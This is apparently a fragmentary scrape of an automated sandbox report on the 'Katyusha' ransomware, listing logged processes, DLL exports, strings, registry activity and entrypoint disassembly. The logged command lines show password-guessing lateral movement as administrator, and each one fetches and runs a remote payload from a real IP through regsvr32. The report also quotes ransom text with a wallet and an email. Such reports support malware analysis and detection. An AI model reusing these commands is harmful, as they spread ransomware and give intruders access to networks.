""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyus" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p 12345 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/k" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p chinachina203 -n 10 -s regsvr32 /u /s /i:http://86.106.102.1" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p 123456 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p qwerty -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p test -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/ka" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p abc123 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p 12345678 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/im" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p 0000 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/ka" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p 1122 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/ka" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p 1234 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/ka" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u -p -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrob" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u -p 12345 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data " - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u -p chinachina203 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyus" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u -p 111 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data sc" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u -p 123456 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data" - (UID: 00000000-00003064)37:T685,"tucl-1.dll" contains export function called "DEBUG_TcLog" at ordinal 1 "tucl-1.dll" contains export function called "TcLog" at ordinal 2 "tucl-1.dll" contains export function called "TcLogBuffer" at ordinal 3 "tucl-1.dll" contains export function called "TcLogClose" at ordinal 4 "tucl-1.dll" contains export function called "TcLogOpen" at ordinal 5 "tucl-1.dll" contains export function called "TcLogSetMask" at ordinal 6 "crli-0.dll" contains export function called "CryptoLibV2_decryptRequestBuffer" at ordinal 1 "crli-0.dll" contains export function called "CryptoLibV2_deletePrivateKey" at ordinal 2 "crli-0.dll" contains export function called "CryptoLibV2_deletePublicKey" at ordinal 3 "crli-0.dll" contains export function called "CryptoLibV2_encryptRequestBuffer" at ordinal 4 "crli-0.dll" contains export function called "CryptoLibV2_freeBuffer" at ordinal 5 "crli-0.dll" contains export function called "CryptoLibV2_getRandom" at ordinal 6 "crli-0.dll" contains export function called "CryptoLibV2_installPrivateKey" at ordinal 7 "crli-0.dll" contains export function called "CryptoLibV2_installPublicKey" at ordinal 8 "crli-0.dll" contains export function called "CryptoLibV2_lookupPrivateKey" at ordinal 9 "crli-0.dll" contains export function called "CryptoLibV2_lookupPublicKey" at ordinal 10 "crli-0.dll" contains export function called "CryptoLibV2_md5Digest" at ordinal 11 "crli-0.dll" contains export function called "CryptoLibV2_md5DigestFile" at ordinal 12 "crli-0.dll" contains export function called "CryptoLibV2_md5DigestFileW" at ordinal 13 "crli-0.dll" contains export function called "CryptoLibV2_pubDecrypt" at ordinal 1438:T4c4,"GetModuleHandleA" (Indicator: "GetModuleHandleA") "GetProcAddress" (Indicator: "GetProcAddress") "wsprintfA" (Indicator: "wsprintfA") "CryptEncrypt" (Indicator: "CryptEncrypt") "ShellExecuteA" (Indicator: "ShellExecuteA") "GetIpAddrTable" (Indicator: "GetIpAddrTable") "ThemeApiConnectionRequest" (Indicator: "ThemeApiConnectionRequest") "DelegateExecute" (Indicator: "DelegateExecute") "open" (Indicator: "open") "DisallowDisconnectedLocalSessions" (Indicator: "connect") "Please send 0.5 bitcoins to my wallet address: 3ALmvAWLEothnMF5BjckAFaKB5S6zan9PK" (Indicator: "send") "If you paid, send the ID and IDKEY to my email: kts2018@protonmail.com" (Indicator: "send") "If you exceed the payment time, your data will be open to the public download" (Indicator: "open") "TerminateProcess" (Indicator: "TerminateProcess") "GetCurrentProcess" (Indicator: "GetCurrentProcess") "Wow64RevertWow64FsRedirection" (Indicator: "Wow64RevertWow64FsRedirection") "GetNativeSystemInfo" (Indicator: "GetNativeSystemInfo") "Wow64DisableWow64FsRedirection" (Indicator: "Wow64DisableWow64FsRedirection") "ShellExecuteExW" (Indicator: "ShellExecuteExW") "SHGetSpecialFolderPathW" (Indicator: "SHGetSpecialFolderPathW")39:Tb55,"katyusha.exe" touched "Sync root manager" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "katyusha.exe" touched "Computer" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\INPROCSERVER32") "katyusha.exe" touched "ExecuteAssociation" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{1649D1CF-DEAF-4A68-ABE8-5C9F68572FD1}\INPROCSERVER32") "katyusha.exe" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "katyusha.exe" touched "Security Manager" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "katyusha.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\INPROCSERVER32") "katyusha.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\INPROCSERVER32") "katyusha.exe" touched "Network" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "katyusha.exe" touched "Recycle Bin" (Path: "HKCU\WOW6432NODE\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "katyusha.exe" touched "Control Panel" (Path: "HKCU\WOW6432NODE\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "katyusha.exe" touched "UsersFiles" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "katyusha.exe" touched "CLSID_SearchFolder" (Path: "HKCU\WOW6432NODE\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "katyusha.exe" touched "UsersLibraries" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "katyusha.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "katyusha.exe" touched "Public Folder" (Path: "HKCU\WOW6432NODE\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "katyusha.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\WOW6432NODE\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "katyusha.exe" touched "This Device" (Path: "HKCU\WOW6432NODE\CLSID\{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}\SHELLFOLDER") "katyusha.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\WOW6432NODE\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "katyusha.exe" touched "CLSID_SearchHome" (Path: "HKCU\WOW6432NODE\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "katyusha.exe" touched "CLSID_StartMenuLauncherProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER")3a:T546,"d00ee0e6eab686424f8d383e151d22005f19adbda5b380a75669629e32fe12a6.bin" has an executable section named ".MPRESS1" "d00ee0e6eab686424f8d383e151d22005f19adbda5b380a75669629e32fe12a6.bin" has an executable section named ".MPRESS2" "KTSI.EXE.6371869D.bin" has an executable section named ".MPRESS1" "KTSI.EXE.6371869D.bin" has an executable section named ".MPRESS2" "M64.EXE.63718696.bin" has an executable section named ".MPRESS1" "M64.EXE.63718696.bin" has an executable section named ".MPRESS2" "SVCHOSTB.EXE.63718706.bin" has an executable section named ".MPRESS1" "SVCHOSTB.EXE.63718706.bin" has an executable section named ".MPRESS2" "SVCHOSTP.EXE.63718707.bin" has an executable section named ".MPRESS1" "SVCHOSTP.EXE.63718707.bin" has an executable section named ".MPRESS2" "ZKTS.EXE.6371868F.bin" has an executable section named ".text" "tucl-1.dll" has an executable section named ".text" "crli-0.dll" has an executable section named ".text" "libxml2.dll" has an executable section named ".text" "m32.exe" has an executable section named ".MPRESS1" "m32.exe" has an executable section named ".MPRESS2" "xdvl-0.dll" has an executable section named ".text" "svchostbs.exe" has an executable section named ".MPRESS1" "svchostbs.exe" has an executable section named ".MPRESS2" "dmgd-4.dll" has an executable section named ".text"3b:T570,"d00ee0e6eab686424f8d383e151d22005f19adbda5b380a75669629e32fe12a6.bin" has an writable section named ".MPRESS1" "d00ee0e6eab686424f8d383e151d22005f19adbda5b380a75669629e32fe12a6.bin" has an writable section named ".MPRESS2" "d00ee0e6eab686424f8d383e151d22005f19adbda5b380a75669629e32fe12a6.bin" has an writable section named ".rsrc" "KTSI.EXE.6371869D.bin" has an writable section named ".MPRESS1" "KTSI.EXE.6371869D.bin" has an writable section named ".MPRESS2" "KTSI.EXE.6371869D.bin" has an writable section named ".rsrc" "M64.EXE.63718696.bin" has an writable section named ".MPRESS1" "M64.EXE.63718696.bin" has an writable section named ".MPRESS2" "M64.EXE.63718696.bin" has an writable section named ".rsrc" "SVCHOSTB.EXE.63718706.bin" has an writable section named ".MPRESS1" "SVCHOSTB.EXE.63718706.bin" has an writable section named ".MPRESS2" "SVCHOSTP.EXE.63718707.bin" has an writable section named ".MPRESS1" "SVCHOSTP.EXE.63718707.bin" has an writable section named ".MPRESS2" "SVCHOSTP.EXE.63718707.bin" has an writable section named ".rsrc" "ZKTS.EXE.6371868F.bin" has an writable section named ".data" "tucl-1.dll" has an writable section named ".data" "crli-0.dll" has an writable section named ".data" "libxml2.dll" has an writable section named ".data" "m32.exe" has an writable section named ".MPRESS1" "m32.exe" has an writable section named ".MPRESS2"3c:T2ed1,"d00ee0e6eab686424f8d383e151d22005f19adbda5b380a75669629e32fe12a6.bin" file has an entrypoint instructions - "pushal,call0x6f91a3,popeax,addeax, 0xb5a,movesi, dword ptr [eax],addesi, eax,subeax, eax,movedi, esi,lodswax, word ptr [esi],shleax, 0xc,movecx, eax,pusheax,lodsdeax, dword ptr [esi],subecx, eax,addesi, ecx,movecx, eax,pushedi,pushecx,dececx,moval, byte ptr [ecx + edi + 6],movbyte ptr [ecx + esi], al,jne0x6f91c2,subeax, eax,lodsbal, byte ptr [esi],movecx, eax,andcl, 0xf0,andal, 0xf,shlecx, 0xc,movch, al,lodsbal, byte ptr [esi],orecx, eax,pushecx,addcl, ch,movebp, 0xfffffd00,shlebp, cl,popecx,popeax,movebx, esp,leaesp, [esp + ebp*2 - 0xe70],pushecx,subecx, ecx,pushecx,pushecx,movecx, esp,pushecx,movdx, word ptr [edi],shledx, 0xc," "KTSI.EXE.6371869D.bin" file has an entrypoint instructions - "pushal,call0x50211b,popeax,addeax, 0xb5a,movesi, dword ptr [eax],addesi, eax,subeax, eax,movedi, esi,lodswax, word ptr [esi],shleax, 0xc,movecx, eax,pusheax,lodsdeax, dword ptr [esi],subecx, eax,addesi, ecx,movecx, eax,pushedi,pushecx,dececx,moval, byte ptr [ecx + edi + 6],movbyte ptr [ecx + esi], al,jne0x50213a,subeax, eax,lodsbal, byte ptr [esi],movecx, eax,andcl, 0xf0,andal, 0xf,shlecx, 0xc,movch, al,lodsbal, byte ptr [esi],orecx, eax,pushecx,addcl, ch,movebp, 0xfffffd00,shlebp, cl,popecx,popeax,movebx, esp,leaesp, [esp + ebp*2 - 0xe70],pushecx,subecx, ecx,pushecx,pushecx,movecx, esp,pushecx,movdx, word ptr [edi],shledx, 0xc," "M64.EXE.63718696.bin" file has an entrypoint instructions - "pushrdi,pushrsi,pushrbx,pushrcx,pushrdx,pushr8,learax, [rip + 0xade],movrsi, qword ptr [rax],addrsi, rax,subrax, rax,movrdi, rsi,lodswax, word ptr [rsi],shleax, 0xc,movrcx, rax,pushrax,lodsdeax, dword ptr [rsi],subecx, eax,addrsi, rcx,movecx, eax,pushrdi,movr8d, ecx,dececx,moval, byte ptr [rcx + rdi + 6],movbyte ptr [rcx + rsi], al,jne0x140103690,pushr9,pushrbp,subeax, eax,lodsbal, byte ptr [rsi],movecx, eax,shrecx, 4,pushrcx,andal, 0xf,pushrax,lodsbal, byte ptr [rsi],movecx, eax,addcl, byte ptr [rsp],pushrax,movrbp, -0x300,shlrbp, cl,poprcx,poprax,shlrax, 0x20,addrcx, rax,poprax," "SVCHOSTB.EXE.63718706.bin" file has an entrypoint instructions - "pushal,call0x42316a,popeax,addeax, 0xb5a,movesi, dword ptr [eax],addesi, eax,subeax, eax,movedi, esi,lodswax, word ptr [esi],shleax, 0xc,movecx, eax,pusheax,lodsdeax, dword ptr [esi],subecx, eax,addesi, ecx,movecx, eax,pushedi,pushecx,dececx,moval, byte ptr [ecx + edi + 6],movbyte ptr [ecx + esi], al,jne0x423189,subeax, eax,lodsbal, byte ptr [esi],movecx, eax,andcl, 0xf0,andal, 0xf,shlecx, 0xc,movch, al,lodsbal, byte ptr [esi],orecx, eax,pushecx,addcl, ch,movebp, 0xfffffd00,shlebp, cl,popecx,popeax,movebx, esp,leaesp, [esp + ebp*2 - 0xe70],pushecx,subecx, ecx,pushecx,pushecx,movecx, esp,pushecx,movdx, word ptr [edi],shledx, 0xc," "SVCHOSTP.EXE.63718707.bin" file has an entrypoint instructions - "pushal,call0x4321fd,popeax,addeax, 0xb5a,movesi, dword ptr [eax],addesi, eax,subeax, eax,movedi, esi,lodswax, word ptr [esi],shleax, 0xc,movecx, eax,pusheax,lodsdeax, dword ptr [esi],subecx, eax,addesi, ecx,movecx, eax,pushedi,pushecx,dececx,moval, byte ptr [ecx + edi + 6],movbyte ptr [ecx + esi], al,jne0x43221c,subeax, eax,lodsbal, byte ptr [esi],movecx, eax,andcl, 0xf0,andal, 0xf,shlecx, 0xc,movch, al,lodsbal, byte ptr [esi],orecx, eax,pushecx,addcl, ch,movebp, 0xfffffd00,shlebp, cl,popecx,popeax,movebx, esp,leaesp, [esp + ebp*2 - 0xe70],pushecx,subecx, ecx,pushecx,pushecx,movecx, esp,pushecx,movdx, word ptr [edi],shledx, 0xc," "ZKTS.EXE.6371868F.bin" file has an entrypoint instructions - "pushebp,movebp, esp,push-1,push0x41fa80,push0x41c4f0,moveax, dword ptr fs:[0],pusheax,movdword ptr fs:[0], esp,subesp, 0x68,pushebx,pushesi,pushedi,movdword ptr [ebp - 0x18], esp,xorebx, ebx,movdword ptr [ebp - 4], ebx,push2,calldword ptr [0x41d1ec],popecx,ordword ptr [0x426c88], 0xffffffff,ordword ptr [0x426c8c], 0xffffffff,calldword ptr [0x41d1f0],movecx, dword ptr [0x424c74],movdword ptr [eax], ecx,calldword ptr [0x41d1f4],movecx, dword ptr [0x424c70],movdword ptr [eax], ecx,moveax, dword ptr [0x41d1f8]," "tucl-1.dll" file has an entrypoint instructions - "movedi, edi,pushebp,movebp, esp,cmpdword ptr [ebp + 0xc], 1,jne0x10001baa,call0x10001f2a,popebp,jmp0x1000194b,movedi, edi,pushebp,movebp, esp,subesp, 0x328,movdword ptr [0x10003420], eax,movdword ptr [0x1000341c], ecx,movdword ptr [0x10003418], edx,movdword ptr [0x10003414], ebx,movdword ptr [0x10003410], esi,movdword ptr [0x1000340c], edi,movword ptr [0x10003438], ss,movword ptr [0x1000342c], cs,movword ptr [0x10003408], ds,movword ptr [0x10003404], es," "crli-0.dll" file has an entrypoint instructions - "movedi, edi,pushebp,movebp, esp,cmpdword ptr [ebp + 0xc], 1,jne0x1000370e,call0x10003a8a,popebp,jmp0x100034af,movedi, edi,pushebp,movebp, esp,subesp, 0x328,movdword ptr [0x10005420], eax,movdword ptr [0x1000541c], ecx,movdword ptr [0x10005418], edx,movdword ptr [0x10005414], ebx,movdword ptr [0x10005410], esi,movdword ptr [0x1000540c], edi,movword ptr [0x10005438], ss,movword ptr [0x1000542c], cs,movword ptr [0x10005408], ds,movword ptr [0x10005404], es," "libxml2.dll" file has an entrypoint instructions - "movedi, edi,pushebp,movebp, esp,cmpdword ptr [ebp + 0xc], 1,jne0x10092102,call0x10093316,popebp,jmp0x10091ea3,movedi, edi,pushebp,movebp, esp,subesp, 0x328,movdword ptr [0x100c5278], eax,movdword ptr [0x100c5274], ecx,movdword ptr [0x100c5270], edx,movdword ptr [0x100c526c], ebx,movdword ptr [0x100c5268], esi,movdword ptr [0x100c5264], edi,movword ptr [0x100c5290], ss,movword ptr [0x100c5284], cs,movword ptr [0x100c5260], ds,movword ptr [0x100c525c], es," "m32.exe" file has an entrypoint instructions - "pushal,call0x4d95c4,popeax,addeax, 0xb5a,movesi, dword ptr [eax],addesi, eax,subeax, eax,movedi, esi,lodswax, word ptr [esi],shleax, 0xc,movecx, eax,pusheax,lodsdeax, dword ptr [esi],subecx, eax,addesi, ecx,movecx, eax,pushedi,pushecx,dececx,moval, byte ptr [ecx + edi + 6],movbyte ptr [ecx + esi], al,jne0x4d95e3,subeax, eax,lodsbal, byte ptr [esi],movecx, eax,andcl, 0xf0,andal, 0xf,shlecx, 0xc,movch, al,lodsbal, byte ptr [esi],orecx, eax,pushecx,addcl, ch,movebp, 0xfffffd00,shlebp, cl,popecx,popeax,movebx, esp,leaesp, [esp + ebp*2 - 0xe70],pushecx,subecx, ecx,pushecx,pushecx,movecx, esp,pushecx,movdx, word ptr [edi],shledx, 0xc," "xdvl-0.dll" file has an entrypoint instructions - "movedi, edi,pushebp,movebp, esp,cmpdword ptr [ebp + 0xc], 1,jne0x10006510,call0x1000695a,popebp,jmp0x100062b1,movedi, edi,pushebp,movebp, esp,subesp, 0x328,movdword ptr [0x10009c38], eax,movdword ptr [0x10009c34], ecx,movdword ptr [0x10009c30], edx,movdword ptr [0x10009c2c], ebx,movdword ptr [0x10009c28], esi,movdword ptr [0x10009c24], edi,movword ptr [0x10009c50], ss,movword ptr [0x10009c44], cs,movword ptr [0x10009c20], ds,movword ptr [0x10009c1c], es," "svchostbs.exe" file has an entrypoint instructions - "pushal,call0x40f268,popeax,addeax, 0xb5a,movesi, dword ptr [eax],addesi, eax,subeax, eax,movedi, esi,lodswax, word ptr [esi],shleax, 0xc,movecx, eax,pusheax,lodsdeax, dword ptr [esi],subecx, eax,addesi, ecx,movecx, eax,pushedi,pushecx,dececx,moval, byte ptr [ecx + edi + 6],movbyte ptr [ecx + esi], al,jne0x40f287,subeax, eax,lodsbal, byte ptr [esi],movecx, eax,andcl, 0xf0,andal, 0xf,shlecx, 0xc,movch, al,lodsbal, byte ptr [esi],orecx, eax,pushecx,addcl, ch,movebp, 0xfffffd00,shlebp, cl,popecx,popeax,movebx, esp,leaesp, [esp + ebp*2 - 0xe70],pushecx,subecx, ecx,pushecx,pushecx,movecx, esp,pushecx,movdx, word ptr [edi],shledx, 0xc," "dmgd-4.dll" file has an entrypoint instructions - "movedi, edi,pushebp,movebp, esp,cmpdword ptr [ebp + 0xc], 1,jne0x10005484,call0x100057fa,popebp,jmp0x10005225,movedi, edi,pushebp,movebp, esp,subesp, 0x328,movdword ptr [0x100761e0], eax,movdword ptr [0x100761dc], ecx,movdword ptr [0x100761d8], edx,movdword ptr [0x100761d4], ebx,movdword ptr [0x100761d0], esi,movdword ptr [0x100761cc], edi,movword ptr [0x100761f8], ss,movword ptr [0x100761ec], cs,movword ptr [0x100761c8], ds,movword ptr [0x100761c4], es," "ucl.dll" file has an entrypoint instructions - "movedi, edi,pushebp,movebp, esp,cmpdword ptr [ebp + 0xc], 1,jne0x1000c2b8,call0x1000c62a,popebp,jmp0x1000c059,movedi, edi,pushebp,movebp, esp,subesp, 0x328,movdword ptr [0x1000f440], eax,movdword ptr [0x1000f43c], ecx,movdword ptr [0x1000f438], edx,movdword ptr [0x1000f434], ebx,movdword ptr [0x1000f430], esi,movdword ptr [0x1000f42c], edi,movword ptr [0x1000f458], ss,movword ptr [0x1000f44c], cs,movword ptr [0x1000f428], ds,movword ptr [0x1000f424], es," "trfo-2.dll" file has an entrypoint instructions - "movedi, edi,pushebp,movebp, esp,cmpdword ptr [ebp + 0xc], 1,jne0x10006050,call0x1000649a,popebp,jmp0x10005df1,movedi, edi,pushebp,movebp, esp,subesp, 0x328,movdword ptr [0x100085a8], eax,movdword ptr [0x100085a4], ecx,movdword ptr [0x100085a0], edx,movdword ptr [0x1000859c], ebx,movdword ptr [0x10008598], esi,movdword ptr [0x10008594], edi,movword ptr [0x100085c0], ss,movword ptr [0x100085b4], cs,movword ptr [0x10008590], ds,movword ptr [0x1000858c], es," "exma-1.dll" file has an entrypoint instructions - "movedi, edi,pushebp,movebp, esp,cmpdword ptr [ebp + 0xc], 1,jne0x10001c6a,call0x10001fea,popebp,jmp0x10001a0b,movedi, edi,pushebp,movebp, esp,subesp, 0x328,movdword ptr [0x10004420], eax,movdword ptr [0x1000441c], ecx,movdword ptr [0x10004418], edx,movdword ptr [0x10004414], ebx,movdword ptr [0x10004410], esi,movdword ptr [0x1000440c], edi,movword ptr [0x10004438], ss,movword ptr [0x1000442c], cs,movword ptr [0x10004408], ds,movword ptr [0x10004404], es," "trch-1.dll" file has an entrypoint instructions - "movedi, edi,pushebp,movebp, esp,cmpdword ptr [ebp + 0xc], 1,jne0x1000ae76,call0x1000b1e6,popebp,jmp0x1000ac17,movedi, edi,pushebp,movebp, esp,subesp, 0x328,movdword ptr [0x1000f470], eax,movdword ptr [0x1000f46c], ecx,movdword ptr [0x1000f468], edx,movdword ptr [0x1000f464], ebx,movdword ptr [0x1000f460], esi,movdword ptr [0x1000f45c], edi,movword ptr [0x1000f488], ss,movword ptr [0x1000f47c], cs,movword ptr [0x1000f458], ds,movword ptr [0x1000f454], es," "tibe-2.dll" file has an entrypoint instructions - "movedi, edi,pushebp,movebp, esp,cmpdword ptr [ebp + 0xc], 1,jne0x1003264e,call0x1003298a,popebp,jmp0x100323ef,movedi, edi,pushebp,movebp, esp,subesp, 0x328,movdword ptr [0x1003aad8], eax,movdword ptr [0x1003aad4], ecx,movdword ptr [0x1003aad0], edx,movdword ptr [0x1003aacc], ebx,movdword ptr [0x1003aac8], esi,movdword ptr [0x1003aac4], edi,movword ptr [0x1003aaf0], ss,movword ptr [0x1003aae4], cs,movword ptr [0x1003aac0], ds,movword ptr [0x1003aabc], es," "katyusha.dll" file has an entrypoint instructions - "movqword ptr [rsp + 0x18], r8,movdword ptr [rsp + 0x10], edx,movqword ptr [rsp + 8], rcx,subrsp, 0x38,moveax, dword ptr [rsp + 0x48],movdword ptr [rsp + 0x20], eax,cmpdword ptr [rsp + 0x20], 1,je0x1800011d3,jmp0x1800011d8,call0x180001070,moveax, 1,addrsp, 0x38,ret,addbyte ptr [rax], al,addbyte ptr [rax], al,addbyte ptr [rax], al,addbyte ptr [rax], al,addbyte ptr [rax], al,addbyte ptr [rax], al,addbyte ptr [rax], al,addbyte ptr [rax], al,addbyte ptr [rax], al,addbyte ptr [rax], al,addbyte ptr [rax], al,addbyte ptr [rax], al,addbyte ptr [rax], al,addbyte ptr [rax], al,addbyte ptr [rax], al,addbyte ptr [rax], al,addbyte ptr [rax], al,addbyte ptr [rax], al,addbyte ptr [rax], al,addbyte ptr [rax], al,addbyte ptr [rax], al,addbyte ptr [rax], al,addbyte ptr [rax], al,addbyte ptr [rax], al,addbyte ptr [rax], al," "zlib1.dll" file has an entrypoint instructions - "movedi, edi,pushebp,movebp, esp,cmpdword ptr [ebp + 0xc], 1,jne0x5a4c97e8,call0x5a4c9b5a,popebp,jmp0x5a4c9589,movedi, edi,pushebp,movebp, esp,subesp, 0x328,movdword ptr [0x5a4cf460], eax,movdword ptr [0x5a4cf45c], ecx,movdword ptr [0x5a4cf458], edx,movdword ptr [0x5a4cf454], ebx,movdword ptr [0x5a4cf450], esi,movdword ptr [0x5a4cf44c], edi,movword ptr [0x5a4cf478], ss,movword ptr [0x5a4cf46c], cs,movword ptr [0x5a4cf448], ds,movword ptr [0x5a4cf444], es,"3d:Tcfd,Process "svchostp.exe" with commandline "\\192.168.242.107 -u administrator -p -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" (UID: 00000000-00007256) Process "svchostp.exe" with commandline "\\192.168.242.107 -u administrator -p -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" (UID: 00000000-00002348) Process "svchostp.exe" with commandline "\\192.168.242.107 -u administrator -p chinachina203 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" (UID: 00000000-00008056) Process "svchostp.exe" with commandline "\\192.168.242.107 -u administrator -p 123456 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" (UID: 00000000-00008132) Process "svchostp.exe" with commandline "\\192.168.242.107 -u administrator -p qwerty -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" (UID: 00000000-00008148) Process "svchostp.exe" with commandline "\\192.168.242.107 -u administrator -p test -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" (UID: 00000000-00004064) Process "svchostp.exe" with commandline "\\192.168.242.107 -u administrator -p abc123 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" (UID: 00000000-00007232) Process "svchostp.exe" with commandline "\\192.168.242.107 -u administrator -p 12345678 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" (UID: 00000000-00007352) Process "svchostp.exe" with commandline "\\192.168.242.107 -u administrator -p 0000 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" (UID: 00000000-00008016) Process "svchostp.exe" with commandline "\\192.168.242.107 -u administrator -p 1122 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" (UID: 00000000-00004012) Process "svchostp.exe" with commandline "\\192.168.242.107 -u administrator -p 1234 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" (UID: 00000000-00007420) Process "svchostp.exe" with commandline "\\192.168.242.107 -u -p -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" (UID: 00000000-00005744) Process "svchostp.exe" with commandline "\\192.168.242.107 -u -p -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" (UID: 00000000-00007872) Process "svchostp.exe" with commandline "\\192.168.242.107 -u -p 12345 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" (UID: 00000000-00003032) Process "svchostp.exe" with commandline "\\192.168.242.107 -u -p chinachina203 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" (UID: 00000000-00004204) Process "svchostp.exe" with commandline "\\192.168.242.107 -u -p 111 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" (UID: 00000000-00008092) Process "svchostp.exe" with commandline "\\192.168.242.107 -u 